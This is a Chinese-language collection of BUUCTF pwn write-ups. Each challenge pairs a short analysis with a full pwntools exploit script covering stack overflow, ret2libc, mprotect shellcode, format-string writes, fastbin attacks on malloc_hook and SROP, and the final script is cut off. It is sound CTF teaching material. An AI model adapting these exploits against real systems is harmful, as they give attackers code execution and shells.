所有题目来自 buuctf:https://buuoj.cn/challenges

RIP

首先查看一下保护

image.png

使用 cyclic 150 创建150个字符

image.png

r 运行之后输入,报错停住

image.png

x/20s $rsp 查看此时的rsp寄存器中的值,以 s(字符串)的形式查看的 20 个

image.png

使用 cyclic -l agaa (注意,后面只用 4 个字符)

image.png

只要填充上想要返回的地址就可以了,使用 IDA 打开发现

fun 函数就是bin/sh的功能,所以只要返回到 fun 函数就可以了
image.png

在汇编代码里看一下,发现是 401186
image.png

所以构造payload如下

  1. from pwn import *
  2. p=process('./pwn1')
  3. payload='a'*23+p64(0x401186)
  4. p.sendline(payload)
  5. p.interactive()

image.png

warmup_csaw_2016

image.png

IDA 发现后门在 0x40060D,同时程序运行的时候也会输出这个地址

image.png

image.png

exp:

  1. from pwn import *
  2. p = remote('node3.buuoj.cn',25287)
  3. payload = 'a' * 72 + p64(0x40060d)
  4. p.sendline(payload)
  5. p.interactive()

pwn1_sctf_2016

image.png

IDA 看一下

image.png

程序会把输入的 I 换成 you,而且只接受输入 32 字节的内容后而栈的大小总共 0x3c 也就是 60 个字节,再加上 ebp 要填充 64 个字节才能覆盖返回地址

  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from pwn import *
  4. p=process("./pwn")
  5. elf=ELF("./pwn")
  6. retaddr=elf.symbols['get_flag']
  7. payload="I"*20+"a"*4+p32(retaddr)
  8. p.sendline(payload)
  9. p.interactive()

ciscn_2019_n_1

IDA 打开,发现有个输出 flag 的函数
v2 要等与 11.28125 就能输出 flag

image.png

然而可以控制程序直接返回到那个 result = system(“cat /flag”); 从而绕过验证

image.png

  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from pwn import *
  4. p=remote("node3.buuoj.cn",27050)
  5. retaddr=0x4006BE
  6. payload="a"*56+p32(retaddr)
  7. p.sendline(payload)
  8. p.interactive()

还有个思路是找到 11.28125 的值是多少,然后把 v2 给改掉,v2 在 rsp+2c 的地方,所以要填上 2c 的字节占空

image.png

  1. #!/usr/bin/env python
  2. # encoding: utf-8
  3. from pwn import *
  4. p=remote("node3.buuoj.cn",27050)
  5. payload = '1' * 0x2c + p64(0x41348000)
  6. p.recv()
  7. p.sendline(payload)
  8. p.interactive()

ciscn_2019_c_1

开启了 NX,另外是一个 64 位程序

image.png

运行一下看看,有个加密的功能,但是解密的功能没有

image.png

IDA 打开看一下 encrypt 函数

image.png

对照一下 ascii 码表

image.png

第一个 if 判断的是小写字母,第二个是大写字母,第三个是数字
也就是说如果我们输入的是小写字母就跟 0xD 进行异或
如果输入的是大写字母就跟 0xE 进行异或
如果输入的是数字就跟 0xF 进行异或

我们需要先写一个脚本来对我们输入的内容进行加密,这样再让程序进行异或加密的时候就能正常的输出来了

测出偏移是 88

image.png

找一下 pop rdi ret 0x400c83

image.png

ret2libc 写 exp
64 位 调用 system 失败
解决:加上个 ret

  1. from pwn import *
  2. from LibcSearcher import *
  3. p = process('./ciscn')
  4. elf = ELF('./ciscn')
  5. main_addr = 0x400B28
  6. pop_rdi = 0x400C83
  7. puts_got = elf.got['puts']
  8. puts_plt = elf.plt['puts']
  9. def encrypt(payload):
  10. l = list(payload)
  11. for i in range(len(l)):
  12. if l[i].isdigit():
  13. l[i] = chr(ord(l[i])^0xF)
  14. elif l[i].isupper():
  15. l[i] = chr(ord(l[i])^0xE)
  16. elif l[i].islower():
  17. l[i] = chr(ord(l[i])^0xD)
  18. return ''.join(l)
  19. p.recv()
  20. p.sendline('1')
  21. p.recvuntil('encrypted\n')
  22. payload = 'a'*88 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  23. payload = encrypt(payload)
  24. p.sendline(payload)
  25. p.recvuntil('Ciphertext\n')
  26. p.recvuntil('\n')
  27. puts_addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))
  28. log.success('puts_addr = ' + hex(puts_addr))
  29. libc = LibcSearcher('puts',puts_addr)
  30. libcbase = puts_addr - libc.dump('puts')
  31. log.success('libcbase = ' + hex(libcbase))
  32. p.recv()
  33. p.sendline('1')
  34. p.recvuntil('encrypted\n')
  35. sys_addr = libcbase + libc.dump('system')
  36. bin_sh = libcbase + libc.dump('str_bin_sh')
  37. ret = 0x4006b9
  38. payload2 = 'a'*88+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
  39. p.sendline(payload2)
  40. p.interactive()

OGeek2019 babyrop

IDA 打开有一个比较的过程,那我们输入的长度跟一个 s 进行比较,那个 s 是 a1

image.png

在往上找找 a1 是在这里,这个 buf 传进去的,buf 又是 /dev/urandom 中的第四位

image.png

/dev/urandom 貌似就是些随机的东西

image.png

只要我们输入开头是 /x00 把 strlen 截断掉就可以绕过那一个 strncmp 检测
在这个函数中 a1 的值就是上一个函数的返回值 v5

image.png

通过这里我们可以把 v5 给覆盖掉

image.png

payload = '/x00'+'a'*6+'/xff' 这样就把 v5 覆盖为 /xff 了

然后在这里 buf 的大小跟输入的 /xff 字节,导致溢出:

image.png

  1. from pwn import *
  2. from LibcSearcher import *
  3. p=process('./pwn')
  4. elf=ELF('./pwn')
  5. put_plt=elf.plt['put']
  6. put_got=elf.got['put']
  7. main_addr=0x8048825
  8. payload='\x00'+'a'*6+'\xff'
  9. p.sendline(payload)
  10. p.recvuntil('Correct\n')
  11. payload1 = 'a'*0xe7+'a'*4+p32(put_plt)+p32(main_addr)+p32(put_got)
  12. p.sendline(payload1)
  13. put_addr = u32(p.recv(4))
  14. libc=LibcSearcher('puts',put_addr)
  15. libc_base=put_addr-libc.dump('puts')
  16. system_addr=libc_base+libc.dump('system')
  17. bin_sh_addr=libc_base+libc.dump('str_bin_sh')
  18. p.sendline(payload)
  19. p.recvuntil('Correct\n')
  20. payload2='a'*0xe7+'b'*0x4
  21. payload2 += p32(system_addr)*2+p32(bin_sh_addr)
  22. p.sendline(payload2)
  23. p.interactive()

ciscn_2019_en_2

跟 c_1 一样,就是改了一下异或的内容
https://www.yuque.com/hxfqg9/bin/bp97ri#NCs3e

  1. from pwn import *
  2. from LibcSearcher import *
  3. #p = process('./ciscn')
  4. p=remote('node3.buuoj.cn',29694)
  5. elf = ELF('./ciscn')
  6. main_addr = 0x400B28
  7. pop_rdi = 0x400C83
  8. puts_got = elf.got['puts']
  9. puts_plt = elf.plt['puts']
  10. def encrypt(payload):
  11. l = list(payload)
  12. for i in range(len(l)):
  13. if l[i].isdigit():
  14. l[i] = chr(ord(l[i])^0xc)
  15. elif l[i].isupper():
  16. l[i] = chr(ord(l[i])^0xd)
  17. elif l[i].islower():
  18. l[i] = chr(ord(l[i])^0xe)
  19. return ''.join(l)
  20. p.recv()
  21. p.sendline('1')
  22. p.recvuntil('encrypted\n')
  23. payload = 'a'*88 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  24. payload = encrypt(payload)
  25. p.sendline(payload)
  26. p.recvuntil('Ciphertext\n')
  27. p.recvuntil('\n')
  28. puts_addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))
  29. log.success('puts_addr = ' + hex(puts_addr))
  30. libc = LibcSearcher('puts',puts_addr)
  31. libcbase = puts_addr - libc.dump('puts')
  32. log.success('libcbase = ' + hex(libcbase))
  33. p.recv()
  34. p.sendline('1')
  35. p.recvuntil('encrypted\n')
  36. sys_addr = libcbase + libc.dump('system')
  37. bin_sh = libcbase + libc.dump('str_bin_sh')
  38. ret = 0x4006b9
  39. payload2 = 'a'*88+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
  40. p.sendline(payload2)
  41. p.interactive()

get_started_3dsctf_2016

使用 mprotect 函数修改内存的权限为可读、写、执行,然后往内存中写入自己的 shellcode
mprotect 的原型:
int mprotect(void *addr, size_t len, int prot);
三个参数分别为起始地址、大小、权限

然后因为这个会在栈上面留下三个参数碍事,所以还有找个 pop 三个的来把他的参数从栈上弄走

image.png

先看一下修改哪一个段,可以把 0x080ea000 到 0x080ec000 都修改成可以执行的

image.png

exp:

  1. # _*_ coding:utf-8 _*_
  2. from pwn import *
  3. elf = ELF('./pwn')
  4. sh = process('./pwn')
  5. #sh = remote('node3.buuoj.cn',27234)
  6. pop3_ret = 0x0809e4c5
  7. mem_addr = 0x080ea000 #可读可写的内存,但不可执行
  8. mem_size = 0x3000 #通过调试出来的值
  9. mem_proc = 0x7 #可代表可读可写可执行
  10. mprotect_addr = elf.symbols['mprotect']
  11. read_addr = elf.symbols['read']
  12. payload_01 = 'A' * 0x38
  13. payload_01 += p32(mprotect_addr)
  14. payload_01 += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12
  15. payload_01 += p32(mem_addr) #mprotect函数参数1 修改的内存地址
  16. payload_01 += p32(mem_size) #mprotect函数参数2 修改的内存大小
  17. payload_01 += p32(mem_proc) #mprotect函数参数3 修改的权限
  18. payload_01 += p32(read_addr) #执行完上面pop3_ret后到read函数
  19. payload_01 += p32(pop3_ret) #执行完read后将返回到pop3_ret指令,又继续使esp+12到mem_addr
  20. payload_01 += p32(0) #read函数参数1 ,从输入端读取
  21. payload_01 += p32(mem_addr) #读取到的内容复制到指向的内存里
  22. payload_01 += p32(0x100) #读取大小
  23. payload_01 += p32(mem_addr) #这里就是shellcode了
  24. sh.sendline(payload_01)
  25. payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')
  26. sh.sendline(payload_sh)#这就是read读入的内容
  27. sh.interactive()

[第五空间2019 决赛]PWN5

32 位程序,格式化字符串漏洞

image.png

先检测一下输入的内容在第几位上会被解释成格式化字符串,输出来是第十位

image.png

可以通过格式化字符串把之前的随机数写成跟我们输入的 password 一样的都是 0x1

  1. # _*_ coding:utf-8 _*_
  2. from pwn import *
  3. p=remote('node3.buuoj.cn',27320)
  4. #p = process('./pwn')
  5. payload = fmtstr_payload(10,{0x804C044:0x1})
  6. p.recvuntil('name:')
  7. p.sendline(payload)
  8. p.recvuntil('passwd:')
  9. p.sendline("1")
  10. p.interactive()

[BJDCTF 2nd]r2t3有一个长度的检查

image.png

这个 v3 是一个无符号数,最大只能 255,如果超过的话就会进行 mod 255
所以可以传入一个总共是 0x105 的,这样他的得到的就是 6 是符合长度限制的,从而绕过 if 的检测

dest 的大小是 0x11h,加上 ebp 的 0x4h,所以需要在前面填充 0x15h
程序中提供了后门 0x804858B

image.png

exp

  1. from pwn import *
  2. p=process('pwn')
  3. payload='a'*0x15+p32(0x804858B)
  4. payload+='a'*(0x105-len(payload))
  5. p.sendline(payload)
  6. p.interactive()

ciscn_2019_n_8

image.png

image.png

开启了 canary,题目代码说的只要 (_QWORD )&var[13] == 17LL 就能拿到 shell

  1. from pwn import *
  2. #p=process('./ciscn')
  3. p=remote('node3.buuoj.cn',29301)
  4. payload=p32(17)*14
  5. p.sendline(payload)
  6. p.interactive()

not_the_same_3dsctf_2016

0x80489A0 把 flag 放在了 bss 段

image.png

image.png

可以通过再返回到 write 把 flag 给读出来

  1. from pwn import *
  2. p=process('./pwn')
  3. elf=ELF('./pwn')
  4. #p=remote('node3.buuoj.cn',29301)
  5. flag_addr=0x80ECA2D
  6. payload='a'*45+p32(0x80489A0)+p32(elf.sym['write'])+p32(flag_addr)+p32(1)+p32(flag_addr)+p32(42)
  7. p.sendline(payload)
  8. p.interactive()

还有一种方法是使用 mprotect 来改变 bss 段的权限,然后执行 shellcode

image.png

先找一个 pop 三个的来平衡 mprotect 的栈,通过这个函数来改掉 bss 所在的那一块的权限为可读写执行

  1. from pwn import *
  2. #p=process('./pwn')
  3. elf=ELF('./pwn')
  4. p=remote('node3.buuoj.cn',28930)
  5. mprotect_addr=elf.sym["mprotect"]
  6. read_plt=elf.sym["read"]
  7. pop_3_ret=0x0809e3e5
  8. pop_ret=0x08048b0b
  9. m_start=0x080ec000
  10. bss= 0x80ECA2D
  11. len=0x2000
  12. prot=7
  13. payload_1="a"*45+p32(mprotect_addr)+p32(pop_3_ret)+p32(m_start)+p32(len)+p32(prot)
  14. payload_1+=p32(read_plt)+p32(bss+0x400)+p32(0)+p32(bss+0x400)+p32(0x100)
  15. p.sendline(payload_1)
  16. payload_2=asm(shellcraft.sh(),arch = 'i386', os = 'linux')
  17. p.sendline(payload_2)
  18. p.interactive()

jarvisoj_level0

  1. from pwn import *
  2. #p=process('./level0')
  3. p=remote('node3.buuoj.cn',27687)
  4. sys_addr=0x400596
  5. payload='a'*136+p64(sys_addr)
  6. p.sendline(payload)
  7. p.interactive()

[BJDCTF 2nd]one_gadget

程序给了 printf 的地址,同时也给了 libc

image.png

要 one_gadget,先找一下

image.png

  1. from pwn import *
  2. #p=process('./pwn')
  3. p=remote("node3.buuoj.cn",25071)
  4. elf=ELF("./pwn")
  5. libc=ELF('libc-2.29.so')
  6. one_gadget1=[0xe237f,0xe2383,0xe2386,0x106ef8]
  7. addr=int(r.recvline()[23:-1],16)
  8. libc_base=addr-libc.sym['printf']
  9. one_gadget=libc_base+one_gadget1[3]
  10. p.recvuntil("Give me your one gadget:")
  11. p.sendline(str(one_gadget))
  12. p.interactive()

jarvisoj_level2

有 /bin/sh 字符串,有 system 函数,也没有 canary 保护,直接就可以

  1. from pwn import *
  2. #p=process('./level2')
  3. p=remote('node3.buuoj.cn',26462)
  4. sys_addr=0x8048320
  5. binsh_addr=0x804A024
  6. payload='a'*140+p32(sys_addr)+p32(1)+p32(binsh_addr)
  7. p.sendline(payload)
  8. p.interactive()

[HarekazeCTF2019]baby_rop

  1. from pwn import *
  2. p=process('./babyrop')
  3. #p=remote('node3.buuoj.cn',29228)
  4. pop_rdi=0x400683
  5. binsh_addr=0x601048
  6. sys_addr=0x400490
  7. payload='a'*0x18+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
  8. p.sendline(payload)
  9. p.interactive()

这题怎么没有 flag 啊
有 flag,在 /home/babyrop 文件夹里面

babyheap_0ctf_2017

这道题…babyheap…嗯…嗯?heap?算了跟着 wp 做做看看吧

保护全开,有这么些功能

image.png

申请、填充、释放、查看、退出

在填充(fill)的时候,还要求输入你要填充后过多少个字节,但是可以输入比申请的大的数

当一个 chunk 加入到 unsorted bin 中时,chunk 的 fd 和 bk 指针会指向 main_arena。main_arena 是 libc 中的一个结构体。泄露这个地址就可以计算出真实的 libc 地址了

在保护全开的程序中,不好修改 got 表,修改 _malloc_hook 或 free_hook 等等为 one_gadget 地址。再次执行 malloc 的时候就会到 one_gadget 执行

思路:
首先泄漏 libc 的地址
下面我们同样的是使用 fastbin_attack,分配到malloc_hook的区域,然后对这块内存区域修改为one_gadget的地址

exp:

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4. p = process('./heap')
  5. elf = ELF('./heap')
  6. #首先是定义的一些函数,对应着程序的功能
  7. def alloc(size):
  8. p.recvuntil("Command: ")
  9. p.sendline("1")
  10. p.recvuntil("Size: ")
  11. p.sendline(str(size))
  12. def fill(idx, content):
  13. p.recvuntil("Command: ")
  14. p.sendline("2")
  15. p.recvuntil("Index: ")
  16. p.sendline(str(idx))
  17. p.recvuntil("Size: ")
  18. p.sendline(str(len(content)))
  19. p.recvuntil("Content: ")
  20. p.send(content)
  21. def free(idx):
  22. p.recvuntil("Command: ")
  23. p.sendline("3")
  24. p.recvuntil("Index: ")
  25. p.sendline(str(idx))
  26. def dump(idx):
  27. p.recvuntil("Command: ")
  28. p.sendline("4")
  29. p.recvuntil("Index: ")
  30. p.sendline(str(idx))
  31. p.recvline()
  32. return p.recvline()
  33. def unsorted_offset_arena(idx):
  34. word_bytes = context.word_size / 8
  35. offset = 4 # lock
  36. offset += 4 # flags
  37. offset += word_bytes * 10 # offset fastbin
  38. offset += word_bytes * 2 # top,last_remainder
  39. offset += idx * 2 * word_bytes # idx
  40. offset -= word_bytes * 2 # bin overlap
  41. return offset
  42. #首先申请4个fast chunk和1个small chunk
  43. alloc(0x10)#index0
  44. alloc(0x10)#index1
  45. alloc(0x10)#index2
  46. alloc(0x10)#index3
  47. alloc(0x80)#index4
  48. #free两个,这时候会放到fastbins中,而且因为是后进的,所以
  49. #fastbin[0]->index2->index1->NULL
  50. free(1)
  51. free(2)
  52. #这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
  53. #解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
  54. #所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
  55. payload = p64(0)*3
  56. payload += p64(0x21)
  57. payload += p64(0)*3
  58. payload += p64(0x21)
  59. payload += p8(0x80)
  60. fill(0, payload)
  61. #然后再通过index3去进行写入,把index4的大小改成0x21
  62. #这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
  63. payload = p64(0)*3
  64. payload += p64(0x21)
  65. fill(3, payload)
  66. #改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了
  67. alloc(0x10)
  68. alloc(0x10)
  69. #申请成功之后index2就指向index4
  70. #为了让index4能够被放到unsortedbins中,要把它的大小改回来
  71. payload = p64(0)*3
  72. payload += p64(0x91)
  73. fill(3, payload)
  74. #再申请一个防止index4与top chunk合并了
  75. alloc(0x80)
  76. #这时候free就会把index4放到unsorted中了
  77. free(4)
  78. #因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
  79. #main_arena与libc偏移为0x3c4b20(文末有工具算)
  80. #再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
  81. unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
  82. unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
  83. libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
  84. log.info("libc_base: "+hex(libc_base))
  85. #此时因为fastbins中没有了,所以从unsortedbins中找
  86. alloc(0x60)
  87. #index2还是指向index4那个地方我们可以先释放index4
  88. free(4)
  89. #然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
  90. #但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
  91. #这个地址是main_arena-0x40+0xd,具体看后面图片解释
  92. payload = p64(libc_base+0x3c4aed)
  93. fill(2, payload)
  94. #这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
  95. alloc(0x60)#index4
  96. alloc(0x60)#index6
  97. #然后往malloc_hook上写one_gadget的地址
  98. payload = p8(0)*3
  99. payload += p64(0)*2
  100. payload += p64(libc_base+0x4526a)
  101. fill(6, payload)
  102. #再申请一下触发one_gadget
  103. alloc(255)
  104. p.interactive()

可以看到是由一些 0x7f 的,如果能够通过错位,使得它就是 size 位的话就能通过检查了,所以才有了 main_arena-0x40+0xd
image.png
也就是这样,这时候再去写,先写 p8(0)3 来吧前面错位的纠正过来,然后再写 p64(0)2 来占空,这时候再写 one_gadget 就是到了 malloc_hook 的位置了

image.png

计算的工具:
main_arena_offset

image.png

又一次做这道题,分步解释一下,之前的注释都看蒙了

  1. alloc(0x10)#index0
  2. alloc(0x10)#index1
  3. alloc(0x10)#index2
  4. alloc(0x10)#index3
  5. alloc(0x80)#index4
  6. free(1)
  7. free(2)

一开始是申请了一些 0x10 跟 0x80 大小的 chunk,然后 free 了两个,fastbin 是后进先出的所以此时的指针是这样的 fastbin[0]->index2->index1

image.png

另外发现它每次操作传入的都是 init_my() 这里来的

image.png

可以找一下这个,他保存了每一个 index 的表

image.png

  1. payload = p64(0)*3
  2. payload += p64(0x21)
  3. payload += p64(0)*3
  4. payload += p64(0x21)
  5. payload += p8(0x80)
  6. fill(0, payload)

通过编辑 index0,把 index2 的 fd 指针末尾改为 0x80,那此时的指针就是 fastbin[0]->index2->index4

image.png

这样就把 index4 放进来 fastbin 的链表中,再去申请的时候就申请到了 0x0000555555757080 这里

  1. payload = p64(0)*3
  2. payload += p64(0x21)
  3. fill(3, payload)

然后通过编辑 index3 把 index4 的 size 给改掉,改为 0x21,因为 malloc 的时候会检查 index4 的 size 是不是 fastbin 的大小范围,再去 malloc 两次,第一次是 index2 第二次就是 index4 了

  1. alloc(0x10)
  2. alloc(0x10)

这个时候那个 index 列表是这样的,此时 index2 与 index4 是指向同一块的,对 index4 跟 index2 的操作是等价的

image.png

通过编辑 index3 修改掉 index4 的 size 位,free 的时候就可以获得 unsorted bin 啦,中间 malloc 的那个 0x80 是为了防止与 top chunk 合并

  1. payload = p64(0)*3
  2. payload += p64(0x91)
  3. fill(3, payload)
  4. alloc(0x80)
  5. free(4)

然后通过 dump(2) 获得 unsorted bin 的地址来计算 libc 基址,此时我们的堆布局情况是这样的:

  1. unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
  2. libc_base=unsorted_addr-0x3c4b20-88

image.png

再去申请一个的话会从前面 index4 划分出来

image.png

然后 free 掉 index4,虽然 index4 是 free 的,但是我们的 index2 也是指向 index4 那块的,所以可以通过编辑 index2 来修改 index4 来达到修改这个 free 掉的 chunk 的目的,那我们修改的内容是 main_arena-0x40+0xd,主要是为了后面能找到一个 0x7f 的 size 位来用

  1. payload = p64(libc_base+0x3c4aed)
  2. fill(2, payload)

image.png

然后 malloc 两次就可以 malloc 到上面修改的那个地方,就可以修改 malloc_hook 的地址为 one gadget 了

  1. payload = p8(0)*3
  2. payload += p64(0)*2
  3. payload += p64(libc_base+0x4526a)
  4. fill(6, payload)

这样再去 malloc 的时候就会执行 one_gadget

ciscn_2019_s_3

main里面只有个 vuln() 函数,函数通过系统调用
32 位和 64 位的系统调用有些区别:
32 位:系统调用号放入 eax,参数依次放到 ebx、ecx、edx,返回值放在 eax
64 位:系统调用号放入 rax,参数依次放到 rdi、rsi、rdx,返回值放在 rax

image.png

所以上面这两个分别实现了 read(0, rsp+buf, 0x400) 和 write(1, rsp+buf, 0x30)
这个 rsp+buf 实际上是 rsp-0x10
那么程序在输出的时候从 rsp-0x10 开始输出 0x30,这样输出的内容总共是,可以发现在 0x7fffffffdd10 这个地址(距离输出的内容0x20)上输出的前八个字节是栈上的某一个地址,如果用它来跟我们写入的内容去算一下偏移就能够在栈上面写 “/bin/sh” 了
image.png
image.png
0x7fffffffde08-0x7fffffffdcf0=0x118,也就是说接收了 0x20 之后,在接受 0x8 就是 “/bin/sh” 的地址了

程序还给了一些 gadgets

image.png

比如 mov rax,3Bh,他是 execve 的系统调用号
mov rax, 0Fh,他是 sigreturn 的系统调用号(SROP)

image.png

srop 解法

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. context.update(arch='amd64',os='linux',timeout=1)
  5. p=process('./ciscn')
  6. #p=remote('./ciscn')
  7. sigreturn_addr = 0x4004DA
  8. syscall_addr = 0x400517
  9. vuln_addr=0x4004f1
  10. payload = '/bin/sh\x00'.ljust(16,'a')
  11. #buf只有0x10
  12. payload+=p64(vuln_addr)
  13. p.sendline(payload)
  14. p.recv(0x20)
  15. binsh_addr=u64(p.recv(8))-0x118
  16. frameExecve=SigreturnFrame()
  17. frameExecve.rax =constants.SYS_execve
  18. frameExecve.rdi =binsh_addr
  19. frameExecve.rsi =0
  20. frameExecve.rdx =0
  21. frameExecve.rip =syscall_addr
  22. payload ='a'*16
  23. payload+=p64(sigreturn_addr)+p64(syscall_addr)+str(frameExecve)
  24. p.sendline(payload)
  25. p.interactive()

bjdctf_2020_babystack

有个后门:0x4006E6

image.png

这是 main 函数,要求先输入一个长度,但是可以看到 buf 那个地方只有 0x10,只要 24 字节后面跟上后门的地址就行了

image.png

  1. #!/usr/bin/python
  2. #coding:utf-8
  3. from pwn import *
  4. #p=process('./bjd')
  5. p=remote('node3.buuoj.cn',28431)
  6. sys_addr=0x4006E6
  7. payload='a'*24+p64(sys_addr)
  8. p.recvuntil("Please input the length of your name:")
  9. p.sendline(str(len(payload)))
  10. p.recvuntil("What's u name?")
  11. p.sendline(payload)
  12. p.interactive()

jarvisoj_level2_x64

system 地址:0x4004C0
.bin.sh 字符串地址:0x600A90
pop rdi 地址:0x4006b3

image.png

  1. from pwn import *
  2. p=remote('node3.buuoj.cn',27459)
  3. #p=process('./level2')
  4. sys_addr=0x4004C0
  5. binsh=0x600A90
  6. pop_rdi=0x4006b3
  7. payload='a'*0x88+p64(pop_rdi)+p64(binsh)+p64(sys_addr)
  8. p.sendline(payload)
  9. p.interactive()

ciscn_2019_n_5

&name=0x601080

image.png

然后程序会先要求输入 0x64 的 name,会放在 bss 段(0x601080),然后再读取输入内容到 v4 中,这个 v4 只有 0x20,存在栈溢出

计算得到偏移 40

  1. from pwn import *
  2. context(arch='amd64',os='linux')
  3. p=process('ciscn')
  4. payload1=asm(shellcraft.sh())
  5. payload2='a'*40+p64(0x601080)
  6. p.sendlineafter('name',payload1)
  7. p.sendlineafter('me?',payload2)
  8. p.interactive()

[HarekazeCTF2019]baby_rop2

用 printf 来泄露 read 真实地址,然后通过 ret2libc 拿到 shell

  1. from pwn import *
  2. from LibcSearcher import LibcSearcher
  3. #p=process('./babyrop2')
  4. p=remote('node3.buuoj.cn',25002)
  5. elf=ELF('./babyrop2')
  6. read_got=elf.got['read']
  7. printf_plt=elf.plt['printf']
  8. main_addr=elf.sym['main']
  9. format_addr=0x400770
  10. """
  11. 0x000000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  12. 0x000000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
  13. 0x0000000000400730 : pop r14 ; pop r15 ; ret
  14. 0x0000000000400732 : pop r15 ; ret
  15. 0x000000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
  16. 0x000000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
  17. 0x00000000004005a0 : pop rbp ; ret
  18. 0x0000000000400733 : pop rdi ; ret
  19. 0x0000000000400731 : pop rsi ; pop r15 ; ret
  20. 0x000000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
  21. 0x00000000004004d1 : ret
  22. 0x0000000000400532 : ret 0x200a
  23. """
  24. payload='a'*40+p64(0x400733)+p64(format_addr)+p64(0x400731)+p64(read_got)+p64(0)
  25. payload+=p64(printf_plt)+p64(main_addr)
  26. p.sendlineafter("name?",payload)
  27. p.recvuntil('!\n')
  28. read_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
  29. libc=LibcSearcher("read",read_addr)
  30. libc_base=read_addr-libc.dump('read')
  31. sys_addr=libc_base+libc.dump("system")
  32. binsh_addr=libc_base+libc.dump("str_bin_sh")
  33. payload2='a'*40+p64(0x400733)+p64(binsh_addr)+p64(sys_addr)+p64(0)
  34. p.sendline(payload2)
  35. p.interactive()

ciscn_2019_ne_5

没有 /bin/sh 也可以用 sh
要先输入 administrator,进入程序,然后有 system 的 plt,可以拿来用

程序藏了一个 4 功能,这里面有一个 strcpy 函数,存在栈溢出

image.png

image.png

exp:

  1. from pwn import *
  2. #p=process('./ciscn')
  3. p=remote('node3.buuoj.cn',28611)
  4. binsh_addr=0x80482E6+4
  5. sys_addr=0x80484D0
  6. p.sendlineafter("password:","administrator")
  7. p.sendlineafter(':','1')
  8. payload='a'*0x48+'a'*4+p32(sys_addr)+'a'*4+p32(binsh_addr)
  9. p.sendlineafter('info:',payload)
  10. p.sendlineafter(':','4')
  11. p.interactive()

注意不要用p32(0),不然的话 strcpy 会截断

pwn2_sctf_2016

首先通过输入一个负的值,绕过长的的检测,负的他会变成一个很大的正数的值
然后通过 printf 泄漏出真实地址拿到 libc 的地址

  1. from pwn import *
  2. from LibcSearcher import *
  3. #p = process('./pwn')
  4. p = remote('node3.buuoj.cn',29130)
  5. elf = ELF('./pwn')
  6. format_str = 0x080486F8
  7. printf_plt = elf.plt['printf']
  8. main_addr = elf.symbols['main']
  9. printf_got = elf.got['printf']
  10. p.recvuntil('read? ')
  11. p.sendline('-1')
  12. p.recvuntil('data!\n')
  13. payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)
  14. p.sendline(payload)
  15. p.recvuntil('said: ')#这是程序正常输出的
  16. p.recvuntil('said: ')#这是printf的那个格式化字符串
  17. printf_addr = u32(p.recv(4))
  18. libc = LibcSearcher('printf', printf_addr)
  19. libc_base = printf_addr - libc.dump('printf')
  20. sys_addr = libc_base + libc.dump('system')
  21. str_bin = libc_base + libc.dump('str_bin_sh')
  22. p.recvuntil('read? ')
  23. p.sendline('-1')
  24. p.recvuntil('data!\n')
  25. p.sendline('a'*0x30 + p32(sys_addr) + p32(main_addr) + p32(str_bin))
  26. p.interactive()
  27. #复制自https://blog.csdn.net/qinying001/article/details/104374305

ez_pz_hackover_2016

要先过了下面那个 if(!result) 才能进入 vuln 函数,所以前面要加上个 crashme

image.png

下断点调试一下,看看

image.png

计算一下返回地址与 shellcode 位置

所以

  1. from pwn import *
  2. context.arch = 'i386'
  3. #sh = process('ez')
  4. sh = remote('node3.buuoj.cn',27163)
  5. #sh = remote("node3.buuoj.cn",27058)
  6. elf = ELF("./ez")
  7. sh.recvuntil("crash: ")
  8. s_addr = int(sh.recvuntil("\n",True),16)
  9. print "=============="
  10. print '0x%x' %s_addr
  11. print "=============="
  12. sh.recvuntil(">")
  13. payload = "crashme"
  14. payload = payload.ljust(10,"\x00")
  15. payload += cyclic(16)
  16. payload += p32(s_addr - 0x1c)
  17. payload += asm(shellcraft.sh())
  18. #gdb.attach(sh,'b *0x80485E4')
  19. #pause()
  20. sh.sendline(payload)
  21. sh.interactive()

铁人三项(第五赛区)_2018_rop

ret2libc

  1. #!/usr/bin/env python
  2. from pwn import *
  3. from LibcSearcher import *
  4. elf=ELF('./rop')
  5. #p=process('./rop')
  6. p=remote('node3.buuoj.cn',25474)
  7. write_plt=elf.plt['write']
  8. write_got=elf.got['write']
  9. payload1='A'*140+p32(write_plt)+p32(0x80484C6)+p32(1)+p32(write_got)+p32(4)
